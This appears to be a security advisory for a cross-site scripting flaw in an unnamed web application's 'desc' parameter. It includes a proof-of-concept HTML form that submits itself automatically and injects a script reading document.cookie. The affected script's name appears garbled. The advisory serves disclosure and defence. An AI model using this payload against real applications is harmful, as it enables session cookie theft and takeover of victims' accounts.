  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "6.13.1!">" script to properly sanitize user-supplied input in "desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/folder" method="post" name="main">
  <input type="hidden" name="object" value="folder">
  <input type="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'>
  <input type="hidden" name="tags" value="">
  <input type="hidden" name="position" value="">
  <input type="hidden" name="readme" value="post txt">
  </form>
  <script>
  document.main.submit();
  </script>
